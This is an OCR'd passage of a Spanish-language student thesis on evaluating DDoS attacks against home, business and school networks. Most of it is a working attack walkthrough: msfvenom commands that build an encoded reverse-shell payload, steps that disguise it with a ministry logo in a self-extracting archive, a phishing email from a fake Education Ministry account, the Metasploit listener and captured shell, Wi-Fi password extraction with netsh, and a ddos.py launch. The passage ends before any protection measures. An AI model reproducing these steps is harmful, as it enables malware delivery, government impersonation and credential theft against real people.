En esta fase se disefiara la topologia que cominmente utilizan los sistemas de red doméstica,
comercial y educativa, donde detallaremos el modelo 16gico para una evaluacién de ataques

DDoS y sus formas de proteccion.
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v Disefio de la Topologia de Red.

La topologia planteada para evaluar los sistemas de red ante posibles ataques de
denegacion de servicios distribuidos (DDoS) es una red en estrella ya que existe un
servidor o un router el cual da servicio de internet a los distintos dispositivos.

v’ Disefios de redes ante un ataque DDoS.

MODELO LOGICO DOMESTICO

ROUJER TP-LIMK TVRE40N \'
'—’ Server-PT

Sever-PT SERVIDOR WEB
SERVIDOR DNS l
192 168.1.1 g 192.168.1.2
A0
—— |
PCPT P,ECT \

PCO ]

192.168.1.10 Laptop-PT

192.168.1.11 Kali Linux

192 168.1.21

Figura 13. Modelo Légico Red Doméstica 1.

Fuente: Grupo Investigativo
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MODELD LOGICO DOMESTICO 2

i i
Semver-PT
Server-PT
Sarver WEB Server DNS
192.168.1.1 192 168.1.2
J =
=
PC-PT PC.PT Laptop-PT
PC2 PCH kali Linux
192 168.1.10 192.168.1.11 192.168.1.20

Figura 14. Modelo L6gico Red Domeéstica 2.

Fuente: Grupo Investigativo
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MODELO LOGICO COMERCIAL

Server-PT
SERVIDOR WEB

192.168.1.2
—
PC-PT
PC5
F
|| PC-PT P
Aca ) 192.168.1.15
Laptop-PT P -
kali Linux 192.168.1.10
NUBHULA300PLUS
192.168.1.21 #
PC-PT
SemverPT o, 192.168.1.13
SERVIDOR DNS TR o
192.168.1.3
P
192.168.1.12
Figura 15. Modelo Légico Red Comercial
Fuente: Grupo Investigativo
MODELO LOGICO EDUCATIVO
192.168.1.10
192.168.1.20 OZIEENR22
g QJ Q 192.168.1.11
rdPT “
192.168.1.12 T PT g
5
e PC-PT 192.168.1.19
PC-PT FPCY
PC12
192.168.1.23
I
PC-PT
PC2
Server-PT A5 192 168.1.17
WEB . PC-PT
192.168.1.2 PC-PT PCT

PC8 192.168.1.18

F
PC-PT 192.168.1.13

Server-PT PC3

DNS 192.168.1.16
192.168.1.1
PC5
Laptop-PT
Laptop0 192.168.1.15
192.168.1.21

Figura 16. Modelo Légico Red Educativo.

Fuente: Grupo Investigativo
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5.1.3. Fase 3 Disefo Fisico.

Seleccidn de Tecnologias y dispositivos para la evaluacion de ataques DDoS.

v" Red Domeéstica 1.
Caracteristicas
e Router Tp-Link modelo TL-WR840N
e Cables de red
e 2 pc con sistema operativo Windows 10

e 1 pc con Kali Linux

v" Red Doméstica 2.
Caracteristicas
e Modem ADSL-Huawei HG531
e Cables de red
e 2 pc con sistema operativo Windows 10
e 1 pc con Kali Linux
v" Red Comercial.
Caracteristicas
e Router Nexxt Nebula 300 Plus
e Cables de red
e 5 pc con sistema operativo Windows 10
e 1 pc con Kali Linux
v Red Educativa.
Caracteristicas
e Router CISCO
e Cables de red
e 11 pc con sistema operativo Linux (Ubuntu 7.10)
e 1 pc Windows 10

e 2 pc con Kali Linux
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» Topologias de las redes Evaluadas

v" Topologia de red Doméstica 1
La Topologia de la red doméstica 1 que sera evaluada en ataques DDoS es en Estrella,
la misma que tenemos un router TP-Link TL-WR840N.

v" Topologia de red Doméstica 2
La Topologia de la red doméstica 2 que sera evaluada en ataques DDoS es en Estrella'y
Protocolo de comunicacion TCP/IP, la cual existe un modem ADSL-Huawei HG531
como central y conectada en forma de estrella a dos computadoras con Windows 10.

v" Topologia de red Comercial
La Topologia de la red comercial que sera evaluada en ataques DDoS es en Estrella y
Protocolo de comunicacion TCP/IP, ya que en esta tenemos un router modelo Nexxt
Nebula 300 Plus la misma que transmite sefial de internet a 5 computadoras con sistema
operativo Windows 10.

v Topologia de red Educativa
La topologia de la red Educativa que seré evaluada en ataques DDoS es en Estrella, en
la cual el dispositivo central de la conexion es un router CISCO y se encuentra
entregando dichos servicios a 13 computadoras con Sistema operativo Linux.
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v Evaluacion de ataques DDoS a las distintas redes y sus formas de proteccion.

ATAQUE
INGENIERIA
SOCIAL

Y

ESCUCHA
KALI

e
F
—

Figura 17. Organigrama estructural de una planificacion de ataque DDoS.
Fuente: Grupo Investigativo

» Planificacién para un ataque DDoS y sus formas de proteccion.

v Buscar una victima.
Para la gestion de un ataque DDoS es importante conocer a nuestra victima, es por ello,
que se debe buscar informacién importante que nos permita tener un acercamiento
inicial a la misma, como por ejemplo nombres y apellidos de la persona y en especial el

correo electrénico que serd muy importante para este tipo de ataques, esto se lo puede
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obtener a través del navegador de internet o también por el medio de la socializacién

con la victima.

v Creacion del script o exploit remoto.
Para realizar el ataque debemos crear un script o un exploit remoto, esto se lo realizara
mediante la herramienta de Kali Linux, de la ayuda de metasploit y del payload venom.
v Abrir Kali Linux y a su vez una terminal.
1. Habilitar los servicios de metasploit a través de la base de datos de PostgreSQL.

(Service postgresql start)

# service postgresql start

# i

Figura 18. Habilitacion de servicios PostgreSQL.
Fuente: Grupo Investigativo

2. Ingresamos el comando (apt update) para actualizar las funciones y herramientas
de nuestro kali Linux.

3. Iniciaremos la base de datos de metasploit utilizando el comando (msfdb init).

:~# msfdb init
i] Database already started

il The database appears to be already configured, skipping initialization
=~# B

Figura 19. Inicio de la base de datos de metasploit.

Fuente: Grupo Investigativo

4. A continuacion, ejecutaremos metasploit con el comando (msfconsole).
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# msfconsole
[lx] Starting the Metasploit FramewoRk console ...\

Figura 20. Comando para ejecutar metasploit.

Fuente: Grupo Investigativo

:~# msfconsole

(R P L LRSS S S S
[ eI RHEIEHNKRK
[ 5636 96905665

[% o=

metasploit w5 dewv

1947 exploits - 1889 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops

7 evasion

Figura 21. Consola de metasploit.
Fuente: Grupo Investigativo

v' Generar el punto exe o0 bat.
5. Abrimos otra terminal para crear el fichero o script.
6.  Ingresamos el comando (ifconfig) para conocer la IP de nuestra maquina de Kali

Linux que a su vez sera el direccionamiento de escucha Kali de nuestro ataque.

:~# ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet pEFISTENIEELY netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fe@7:840 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:07:08:40 txqueuelen 1000 (Ethernet)

RX packets 217 bytes 47180 (46.0 KiB)

RX errors @ dropped @ overruns @ frame ©

TX packets 93 bytes 7109 (6.9 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions ©

Figura 22. IP Maquina Kali Linux.
Fuente: Grupo Investigativo

7. A continuacion, crearemos el fichero o el script utilizando ciertos comandos:

(msfvenom -a x86 --platform windows -p windows/shell/reverse tcp -
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LHOST=192.168.0.107 LPORT=21225 —b”\x00” -e x86/shikata_ga nai -f exe -0

ministerio.bat).

:~# msfvenom -a x86 —platform windows -p windows/shell/reverse_tcp LHOST=192.168.0.1
87 LPORT=21225 -b"\x@@" -e xB86/shikata_ga_nai -f exe -o ministerio.bat
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga nai chosen with final size 368

Payload size: 368 bytes

Final size of exe file: 73802 bytes

Saved as: ministerio.bat

Figura 23. Creacidn del fichero o script.
Fuente: Grupo Investigativo

8.  Ingresamos el comando Is en Kali Linux para verificar que se ha creado el

fichero.

:~# 1s
ataque3.exe game3.

ataque8.exe ejecut4.exe games.

codigo ejecutas.exe game5.
gameb.

game2.exe

Figura 24. Fichero Creado.
Fuente: Grupo Investigativo

9.  Como podemos observar ya se ha creado nuestro script el cual nos servira para
tomar el control remoto de nuestra maquina victima y asi poder conocer la IP del

sistema, para poder hacer el ataque DDoS.

ministerio.bat

Figura 25. Script creado (ministerio.bat).
Fuente: Grupo Investigativo

v Ocultar el script en un logotipo
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10. Enviaremos nuestro script o fichero a nuestro escritorio de Windows, para esto

debemos copiar el script y lo enviaremos a un servidor de apache.

(cp ministerio.bat /var/www/html).

Posteriormente iniciaremos el servicio de apache: (service apache 2 start)

# cp ministerio.bat
# service apache2 start

# I

Figura 26. Activacion de servicios apache2.

Fuente: Grupo Investigativo

11.  Abrir nuestro navegador de preferencia dentro de nuestra maquina Windows, e

ingresamos la siguiente ruta que descargara nuestro script.

192.168.0.107/ministerio.bat

O Kalil x £ Atag x | B3 BACH X | & CHA % | G come % | &8 Msiv x | [ Docu x | L1 Orge x | G class X | G que X | G com x & N
C @ 192.168.0.107/ministerio.bat
Q@  Haz una busqueda en Google o escribe una URL )
o (] (] o /2
WhatsApp YouTube Nexxt Login Universidad T.
oA oy (1] e +
Freer Login Nexxt Parafrasear T..  Agregaruna
[ ministerio.bat ~
S8 O Escribe aqui para buscar O 8 w B M @ Wl N

Figura 27. Ruta de descarga del script.

Fuente: Grupo Investigativo
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12. El fichero o script descargado lo enviaremos al escritorio.

\

Figura 28. Fichero o script descargado.
Fuente: Grupo Investigativo

13. A Continuacion, vamos a generar el icono de nuestro archivo, para ello es
necesario el siguiente programa: icofx.

14. Abrir el programa icofx, y convertimos una imagen en icono dando clic en
archivo y abrir para seleccionar la imagen, lo guardaremos en el escritorio lo cual nos

permitird dar disefio a nuestro fichero.

8 Sintitulo-2 - icofx (Prueba) — O ®
Archive Edicion Seleccion Efectes Ajustes Imagen Opciones Herramientas Ver Ventana Ayuda Buscar... (Alt+Q)
O-5 -6 x| - HS B 0 R | BEE S
Tamafic Modo .
O INFORMACION DE PRUEBA El periode de prueba de IcoFX expira en 30 dias. Comprar ahora Registrar x
*  Bienvenida ministerio.ico (lconc) Sin titulo-2 (lcona) X ¢ » v Previsualizacion o
MrER® Qex Ve A #50|0 |
; e Previsuali.. Informaci.. Histograma
Colores oM
P
] HEF [o I
/ S n o
Colores  Muestras  Paleta
7
I:l Pinceles oM
T = F L i ® & s = ~
F MIHIStBI’IO ODm® =]
.
< de EdUCﬂCIOﬂ Pinceles Degradades Estilos de texto
& 64x64 - 32
. Educamos para tener patria Capas ~ X
Q
v, 2. Maormal 100
Ve
48x48 - 32
Q
" v Capas Historial Acciones
+ A =

Figura 29. Disefio del icono para el script.

Fuente: Grupo Investigativo
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e VITRISTEN OO T Mministerio

Figura 30. Iconos creados.
Fuente: Grupo Investigativo

15. Enviaremos nuestro fichero y nuestro icono a una carpeta
16. Dar clic en vista, seleccionaremos en opciones y activaremos la opcién de
mostrar todos los archivos

Opciones de carpeta >

General Ver Buscar

Vistas de carpeta

Puede aplicar esta vista (comao Detalles o lconos) a
H'E| todas las capetas de este tipo.

| Aplicar a las carpetas | | Restablecer carpetas

Corfiguracion avanzada:

Archivos v campetas s
[] Abrir vertanas de campeta en un proceso independiente

Al escribir en |a vista de lista

() Ezcribir automaticamente en el cuadno Buscar

(®) Seleccionar el elemento escrito en la vista

Archivos y campetas ocultos

(®) Mostrar archivos, capetas y unidades ocultos

() Mo mostrar archivos, campetas ni unidades ocultos
Mostrar bama de estado
[ ] Mestrar con otro color los archives MTFS comprimidos o ¢

Mostrar controladores de vista previa en el panel de vista ¥
< >

| Restaurar valores predeterminados |

| Aceptar || Cancelar || Aplicar

Figura 31. Configuracién para el fichero.
Fuente: Grupo Investigativo

53



17. Dar clic derecho en nuestro payload o fichero, en propiedades y seleccionaremos

que sea un archivo oculto.

"] Propiedades: ministerio e

General Seguidad Detalles Versiones anteriores
|:| ministeria

Tipo de archivo: Archivo por lotes de Windows { bat)

Descripcion:  ApacheBench command line wtility

Ubicacion: ChUsershandre\Downloads nuevo

Tamario: 720 KB (73.802 bytes)

Tamario en - -

disco: 76,0 KB (77.824 bytes)

Creado: dominga, 10 de julio de 2022, 20:23:03
Modificado: dominga, 10 de julio de 2022, 20:23:06
Utimo acceso: hoy, 10 de julio de 2022, hace 50 minutos
Atributos: [ 5olo lectura Oculto Avanzados...
Seguridad: Este archivo proviene de otro

equipo y podria blogquearse para [] Desbloguear

ayudar a proteger este equipo.

Aceptar Cancelar Aplicar

Figura 32. Configuracién para un script oculto.

Fuente: Grupo Investigativo

ﬁ himkstenio

i Educaciin
rministerio rministerio

Figura 33. Script o fichero oculto.

Fuente: Grupo Investigativo
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18. Seleccionaremos nuestro archivo jpg y nuestro .bat o .exe, daremos clic derecho
y seleccionaremos la opcidn de afadir archivo, marcar la casilla de crear un archivo

autoextraible y con un método de compresion de la mejor.

E*8 rombre de archivo y pardmetros T >
General  Avanzado Opciones Ficheros Copia de seguridad Fecha y hora  Comentario
Mombre del archivo Examinar. ..
~
Perfil predeterminado Modo de actualizacan
Perfiles... Afiadir y reemplazar ~

Formato de archivo Opciones de compresién

iminar eros tras la compresidn
(®) RAR (I RARS ) zZIP [ Eliminar fich tras | i
Crear un archive autoextraible

Metado de compresidn [ crear un archive sdlido

La mejor -~ [1 afiadir Registro de Recuperacién
Tamafo del diccionario [] verificar ficheros comprimidas
32 MB - [Bloguear el archiva

Partir en volimenes de ...

~ || MB

4

Establecer contrasefia...

Cancelar Apada

Figura 34. Configuracion para crear un archivo autoextraible.
Fuente: Grupo Investigativo

19. Seleccionar la opcion de avanzado, clic en autoextraible, en la opcion de
Instalacion en el apartado de ejecutar tras la extraccion ubicamos el nombre de

nuestros archivos jpg y .bat o .exe, en la parte de actualizar seleccionaremos Extraer y
actualizar ficheros, con Sobrescribir todos los ficheros.

Opciones SFX avanzadas ? >
Actualizar Texto e icono Licencia Mddulo
General Instaladdn Mados Avanzado

Programa de instalacién
Ejecutar tras la extraccién

ministerio.bat|
logo-mineduc.jpg

Ejecutar antes de la extraccién

[JEsperar y devolver cédigo de retormo

Figura 35. Configuracién programa de instalacion de icono y script.
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Fuente: Grupo Investigativo

General Instaladdn Modos Avanzado
Actualizar Texto e icono Licencia Madulo

Modo de actualizacdn

(_) Extraer v reemplazar ficheros
(@) Extraer y actualizar ficheros
{_) Refrescar solo ficheros existentes

Modo de sobreescritura

() Preguntar antes de sobrescribir
(®) Sobrescribir todos los ficheros
() Omitir ficheros existentes

Aceptar Cancelar Ayuda

Figura 36. Configuracion de extraccion de icono y script.
Fuente: Grupo Investigativo

20. Clic en Texto e icono, en la opcion de cargar icono desde fichero, buscaremos

nuestro icono anteriormente realizado y daremos clic en Aceptar.

Opciones SFX avanzadas s =
General Instalacdn Modos Avanzado
Actualizar Texto e icono Licencia Madulo

Titulo de la ventana
[

Texto a mostrar en la ventana

Cargar texto desde fichero...

Cargar logotipo desde fichero

| Examinar. ..

Logotipo de alta resolucién

| | Examinar. ..

Cargar icono desde fichero L {

| C:\Wsersiandre\Downloadsynuevoyministerio.ic | Examinar. ..

Cancelar Ayuda
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Figura 37. Carga del icono desde el fichero.
Fuente: Grupo Investigativo

21. Ubicar el nombre que desee para comprimir el archivo y por fin tendremos

nuestro logotipo en el fichero de ataque con su imagen.

[l S,

muinisterico

Figura 38. Script con imagen.
Fuente: Grupo Investigativo

v Iniciar el ataque con Ingenieria Social
22. Este ataque ya depende de cada persona se lo puede hacer a través de envio de
links, subir archivos por internet, envio del archivo por redes sociales o en este caso
por medio de un correo electrdnico.
23. Crear un correo electronico ligado a alguna actividad de la victima, en este caso

crearemos uno falso del ministerio de educacion.

<« C & mailgoogle.com/mailfu/1/?ogbl#inbox 2 &« O@ :
= M Gmalil Q. Buscar correo = @ & @ o
O~ ¢ -2de2
/ Redactar B
3@ Principal ©  Promociones 2, Social
3 Recibidos 2
Yy Destacados
Empieza a utilizar Gmail X
@© Pospuestos P
B> Enviados Eersdu”aléza W e Cambia la imagen o Importa contactos D Descarga Gmail )
andeja de de perfil v y mensajes para méviles
[ Borradores entrada
v Miés
Seguridad de Google. Uno de tus archivos infringe los Términos del Servicio de Google Drive - Tus archive infringe los Tér 1:06
Equipo de Comunidad. Ministerio, termina de configurar tu nueva cuenta de Google - Hola, Ministerio: Te damos la bienven 0:36
Términos - Privacidad - Politica del programa Uttima actividad de la cuenta: hace 7

0 GB ocupados de 15GB [

Figura 39. Creacion de correo electronico falso.

Fuente: Grupo Investigativo
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24. Enviaremos el archivo o fichero ejecutable a nuestra victima mediante la

ingenieria social, el archivo se lo subi6 al drive de forma rar.

< B O W B O & B o @ 1de1 < >
Ministerio de Educacidén a5 &
= Ministerio Educacién <ministericeducacion.gob.ec@gmail.com=> 1:06 (hace 0 minutos) fxd “

para luisgonzales%872 -

Buenas Tardes Luis Gonzales

Mediante el Ministerio de Educacién le enviamos un sistema para realizar sus actividades { Ingreso de notas. actualizacion de datoes. etc...)
Por ello siga los siguientes pasos

1.-Ingresar al siguiente link:

https./idrive.google.com/drive/folders/1L_vuGNLEHQLbWD1xIhBon4CgmYNGZYc-?usp=sharing

2 - Descargar el archivo Ministerio

3.- Extraerlo y moverlo al escriterio

4 - Ejecutarlo como administrador

5.-Instalarlo correctamente

Si tiene algiin problema con la instalacién del software "Ministerio” no dude en enviarnos un mensaje
Linda tarde

Figura 40. Envio del script mediante phishing.

Fuente: Grupo Investigativo

Miunidad > Ministerio de Educacion ~ 22

Archivos

i

5 Ministerio.rar

Figura 41. Script ejecutable dentro del internet.

Fuente: Grupo Investigativo
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25. Lavictima ingresara al link, descargara y extraera al escritorio nuestro payload

en su maquina y el atacante procedera a realizar el monitoreo de funcionamiento.

= M Gmail Q, Buscar en el correo electronico Er [ a
/ Redactar < O @ B 0 & B O i 1de 2 > B
m o Ministerio de Educacion recibidos = a8 2
ecibidos
Y¢  Destacados 2. Ministerio Educacin «minsterioecucacion gob eciomail coms 0106 (hace 4 minutos) ¥y €
@© Pospuestos parami =
B> Enviados Buenas Tardes Luis Gonzales e
wiado:

[) Borradores Mediante el Ministerio de Educacién le enviamos un sistema para realizar sus actividades { Ingrese de notas, actualizacién de datos, elc...)

Por ello siga los siguientes pasos
v Mas 1 -Ingresar al siguiente link

+
Eti t + https.//drive google. com/drive/folders/1L_vuGNLEHQLbWD1xIhBond CgmYNGZYc-?usp=sharing
iquetas

2.- Descargar &l archivo Ministerio

3.- Extraerlo y moverlo al escritorio

4 - Ejecutarlo como administrador.

5.- Instalarlo correctamente

Si tiene algun problema con la instalacién del software "Ministerio” no dude en enviarnos un mensaije.

Linda tarde

>

Figura 42. Correo y ejecutable recibido

Fuente: Grupo Investigativo

& Ministerio.rar Abrircon v

Ministerio.rar 1eement

B Ministerio

B wministerio.rar ~ Mostrar todo X

Figura 43. Descarga de script ejecutable en maquina victima.

Fuente: Grupo Investigativo
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ministerio

Figura 44. Script ejecutable en maquina victima.
Fuente: Grupo Investigativo

v" Monitorio de funcionamiento (escucha Kali).

26. Ingresar a la consola de metasploit utilizando el comando (msfconsole).

https://metasploit.com

ploi 9 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops
7 evasion

nononon
= - —

Figura 45. Consola de metasploit.

Fuente: Grupo Investigativo

27. Utilizaremos el comando (use exploit/multi/handler) para activar el servicio de
exploit.

msf5 > use exploit/multi/handler

msf5 exploit( ) > |

Figura 46. Comando para activar servicios de exploit.

Fuente: Grupo Investigativo
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28. Ingresamos el comando (set payload windows/shell/reverse_tcp) para ingresar

al payload y configurarlo.

msfS5 > use exploit/multishandler
msfS5 exploit( ) > set payload windows/shell/rewverse_tcp

payload = windows/shell/reverse_tcp
msfS exploit( > > R

Figura 47. Comando para el ingreso a las configuraciones del payload.
Fuente: Grupo Investigativo

29. Una vez configurado el payload ingresamos el host Linux y el puerto que se

seleccion6 anteriormente.
Set LHOST 192.168.0.107
Set LPORT 21225

msf5 exploit( Y} > set LHOST 192.168.0.107
LHOST = 192.168.0.187

msf5 exploit( ) >» set LPORT 21225
LPORT = 21225

Figura 48. Configuracion del puerto y host del payload.
Fuente: Grupo Investigativo

30. Ingresamos un comando show options para revisar que las opciones ingresadas
estén correctas.

_—
msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, non

LHOST 192.168.0.187 yes The listen address (an interface may be specified)
LPORT 21225 yes The listen port

Exploit target:
Id Name

@ Wildcard Target

msf5 exploit(

Figura 49. Vista de configuraciones correctas.

Fuente: Grupo Investigativo
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31. Utilizaremos el comando (exploit) para realizar el ataque del control remoto o

kali escucha de la maquina victima

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.107:21225

Figura 50. Comando para escucha Kali
Fuente: Grupo Investigativo

32. Esperaremos que la maquina victima ejecute el payload o fichero descargado,
como se observd en el punto de ingenieria social, instalaremos nuestro payload en la
maquina victima

= Archivo auto-extraible WinRAR == >

e Pulse el boton Instalar para iniciar la extraccion.

e Use el boton Examinar para seleccionar la carpeta
de destino de forma grafica. También puede
especificarla manualmente.

e Sila carpeta de destino no existe sera creada
automaticamente antes de la extraccion.

Carpeta de destino

D op ~ Examinar ...

Progreso de la instalacion

Instalar Cancelar

Figura 51. Instalacion del script ejecutable.

Fuente: Grupo Investigativo
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33. Como podemos observar ya tenemos el control de la otra maquina lo cual nos

permitira obtener informacion necesaria para realizar el ataque DDoS.

msf5 exploit( ) > expleit

Started reverse TCP handler on 192.168.0.187:21225

Encoded stage with x86/shikata_ga_nai

Sending encoded stage (267 bytes) to 192.168.0.108

Command shell session 1 opened (192.168.0.107:21225 — 192.168.0.108:49194) at 2022-07-11 @
0:85:47 -B500

cd
cd
C:\Users\CLICK\Desktop

C:\Users\CLICK\Desktop>ls

1s

"1s" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Users\CLICK\Desktop>f]

Figura 52. Control total de maquina victima.

Fuente: Grupo Investigativo

dir
El wolumen de la unidad € no tiene etiqueta.
EL n¥mero de serie del volumen es: 20B6-FOFF

Directorio C:“WUsers\CLICK\Desktop

11/07/2022 @5 <DIR> -
11/a7 /2022 @5 <DIR> oo
e6/85/2022 :58 <DIR> AnexosTitulacion
e1/e7 /2022 1@2 .292 atack ddos.docx
e1/a7/2022 126 -280 Certificado en google ads.pdf
12/04/2022 HET -893 Cisco Packet Tracer.lnk
13/04/2022 :56 .154 ddos.py
24/02/2022 54 - .584 Desktop.rar
a7 /06,2022 z .917 Encuesta.docx
ar/12/2020 z 865 HandBrake.lnk
1e/87/2022 1@ -137 logo-mineduc. jpg
30/11/2020 z 2.352 Microsoft Teams.lnk
11/07 /2022 : .258 ministerio.exe
3e/11/2020 z -114 Paint.lnk
29/03/2022 T PD Folder Watch
29/03/2022 : .@80 Plagiarism Detector.lnk
3e/11/2020 z .452 PowerPoint 2016.1lnk
3e/11/2020 T . 489 Word 2016.1lnk
i8/01/2022 : .976 Zoom.lnk

15 archivos 2.916.043 bytes

4 dirs 21.329.782.912 bytes libres

C:\Users\CLICK\Desktop>ll

Figura 53. Control total de maquina victima escritorio.

Fuente: Grupo Investigativo
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v Robo de Informacion
34.  Una vez que estamos dentro de la maquina victima ingresamos el comando
ipconfig para conocer la IP del dispositivo que esta maquina esta conectada para poder

realizar el otro ataque.

root@erick: ~
Adaptador de Ethernet Ethernet:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS espec#fico para la conexi®n.

Adaptador de LAN inal€¥mbrica Conexi®n de #rea locals 2:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS espec#fico para la conexi®n.

Adaptador de LAN inal€¥mbrica Conexi®n de ®rea localx &4:

Estado de los medios. . . . . . : medios desconectados

Sufijo DNS espec#fico para la conexi®n.

Adaptador de LAN inal®mbrica Wi-Fi:

Sufijo DNS espec®#fico para la conexi®n. . : www.nexxtwifi.com
Vénculo: direcci®n IPv6 local. . . : fe8@::c84d:401e:bl154:2aeb%3
Direcci®n IPv4. . . . . . + « « « « « . . : 192.168.0.108
Méscara de subred . . . . . . . . . . . . 1 255.255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.0.1

Adaptador de Ethernet Conexi®#n de red Bluetooth:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS espec#fico para la conexi®n.
Figura 54. IP de maquina y red victima.

Fuente: Grupo Investigativo

35.  También, podemos observar la contrasefia de la red a la que esta conectada, esto
servird para realizar un mejor ataque DDoS estando en la misma red, para ello

utilizaremos el comando netsh wlan show profile.
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C:\Users\CLICK\Desktop>netsh wlan show profile
netsh wlan show profile

Perfiles en la interfaz Wi-Fi:

Perfiles de directiva de grupo (solo lectura)

<Ninguno>
Perfiles de usuario

usuarios z
Perfil usuarios : NETLIFE-ANDER
Perfil usuarios z
Perfil usuarios
Perfil usuarios
Perfil usuarios
Perfil usuarios
Perfil usuarios
Perfil usuarios
Perfil usuarios
Perfil usuarios

Figura 55. Perfiles de usuarios de redes conectadas.
Fuente: Grupo Investigativo

36.  Una vez visto los perfiles seleccionaremos el perfil, utilizaremos el mismo

comando y agregaremos key=clear, obtendremos la red y la contrasefa.

C:\Users\CLICK\Desktop>netsh wlan show profile RAUL.C key=clear

netsh wlan show profile M key=clear

Figura 56. Comando para obtener red y contrasefia.

Fuente: Grupo Investigativo
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Configuraci®n de conectividad

N®mero de SSID

Nombre de SSID

Tipo de red : Infraestructura

Tipo de radio : [ Cualquier tipo de radio ]
Extensi®n de proveedor : no est®¥ presente

Configuraci®n de seguridad

Autenticaci®n : WPA2-Personal
Cifrado : CCMP

Autenticaci®n : WPAZ-Personal
Cifrado : GCMP

Clave de seguridad : Presente

Contenido de la clave : iR

Configuraci®n de costos

: 5in restricciones
Congestionado : No
A punto de alcanzar el 1¥mite de datos: No
L¥mite de datos superado : No
Itinerancia : No
Origen de costo : Predeterminado

Figura 57. Red y contrasefia obtenidas.
Fuente: Grupo Investigativo

37. Una vez obtenido estos datos procederemos a realizar ya los ataques DDoS a los
distintos sistemas de red.
38.  Lanzamos el ataque DDOS desde Kali y procedemos a protegerlo.
5.1.2.1.Evaluacion de ataques DDoS a sistema de red Domeéstico 1.

v MODELO DOMESTICO
Router TP-Link TL-WR840N.
Ataque DDoS en un Router tp-link modelo TL-WR840N desde un hogar domeéstico
con la herramienta python2.
Para generar los ataques debemos saber la IP del router y nos dirigimos al navegador
para entrar como administrador.
Ip 192.168.1.57
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+

tplinkwifi.net

Router inalambrico N 300Mbps WR840N

Modelo TL-WRB40N
Estado
Configuracion Rapida
Oy Ty o la LAN Ayuda de LAN
Modo de operacion o .
Puede configurar los parametros IP de la LAN en esta
Red pagina
-LAN Tipo de LAN * Direccién MAC - La direccién fisica de los
alambiicn LAN, como se v desde a LAN. EI valor na puede
Nota: Los parmetros IP no se pueden configurar si ha elegido Smart 1P ser camt
DHCP (OHCP) « Tipo - Elew 1P ineigente (OHGP) para obtener 12
direccion IP del servidor DHCP 0 elegr IP estético
" para configurar la direccion IP manuaimente
Herramientas del Sistema (En esta situacion, el dispositivo le ayudard a configurar automaticamente « Diraceién IP - Introduzca la direccidn 1P de su
Finalizar Sesion los parametros de IP segiin sea necesario) itvo en  notacon decmal  (valor
predeterminado de fabrica: 192.168.0.1)
= Mascara de Subred - Un codigo de direccion que:
defermina el tamafio de la red Generalmente es
Direccion MAC.  60:32 81 D9 FES6 2552562650
Dveccion 1P | 192168.1 57 Nota:
Mascarade Subred. | 255 255.255.0 1.Si cambia la direccion IP, debe utizar 1a nueva

‘senvidor DHCP de este dispositivo no se iniciara
3 Stla nueva deecotn P que establect no estden la

misma subred qu anterior, el conjunto de
Guardar recaons 1o 00 semidor DHCP o configurara
automaticamente
Dar cic en el boton de Guardar para guardar sus
configuraciones
Nota: Si selecciona ef 10 de IP inteigente, (OHCF), el
servidor DHCP de este dispositivo

8 O Escribe aqui para buscar O H a L-L ¢ & L! - !i!i W 12°C A O @M 7 NG sz/gzz !)
Figura 58. Administracion del router Tp-Link.
Fuente: Grupo Investigativo

Vemos que puertos estan abiertos para atacar con la herramienta nmap.

Escaneo Hermamientas Pefil Ayuda (H)
Objetivo: | 192.168.1.57 ©] Petit: intense scan

Comando: | nmap -T4 -A-v 192.168.1.57

el
i

Sevicios | SaidaNmap Puertos / Servidores Topologia Detalles del servidor Escaneos
05 ¢ Servidor - nmap -T4-A -v 192168 1.57

K3

Starting Nmep 7.92 ( https://neap.org ) at 2022-04-18 20:21 Hora est. Pacifico, Sudamérica
NSE: Loaded 155 scripts for scanning.
WSE; Script Pre-scanning.
Initiating NSE at 20:21
Completed NSE at 20:21, ©.00s elapsed
Initiating NSE at 20:21
Completed NSE at 20: 21 0.00s elapsed
Initiating NSE at 2.
Completed NSE at 20: 21 0.005 elapsed
Initisting ARP Ping Scan at 20:21
Scanning 192.168.1.57 (1 port]
Completed ARP Ping Scan at 20:21, ©.18s elapsed (1 total hosts)
Initiating Parallel ONS resolution of 1 host. at 20:21
Completed Parallel DNS resolution of 1 host. at 20:21, ©.27s elapsed
Initiating SYN Stealth Scan at 26:21
Scanning 192.168.1.57 [160@ ports]
Discovered open port 22/tcp on 192.168.1.57
Discovered open port 86/tcp on 192.168.1.57
Discovered open port 53/tcp on 192.168.1.57
Discovered open port 1960/tcp on 192.168.1.57
Completed SYN Stealth Scan at 20:21, ©.313 elapsed (1000 total ports)
Initiating Service scan st 20:21
Scanning 4 services on 192.168.1.57
Completed Service scan at 20:21, 16.47s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.1.57
NSE: Script scanning 192.168.1.57
Initiating NSE at 20:22

Figura 59. Verificacion de puertos abiertos con Nmap.
Fuente: Grupo Investigativo
Puertos abiertos:

22,80,53,1900.

Generamos el ataque en Kali Linux con la herramienta Python 12.
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Entramos al terminal y nos dirigimos a la carpeta DDOS.

root@kali: ~/DDOS

File Edit View Search Terminal Help
:~# 1s
DDOS Deskto

p Do
:~# cd

DDOS

DDOS# .

Figura 60. Ingreso a la carpeta de ataques DDoS.
Fuente: Grupo Investigativo

Escribimos el comando python2 ddos.py para generar el ataque.

root@kali: ~/DDOS

File Edit View Search Terminal Help
:~# 1s

DDOS Desktop Docu €

:~# cd DDOS

DDOS# python2 ddos.pyll

ant

Figura 61. Comando python2 ddos.py para ataque.

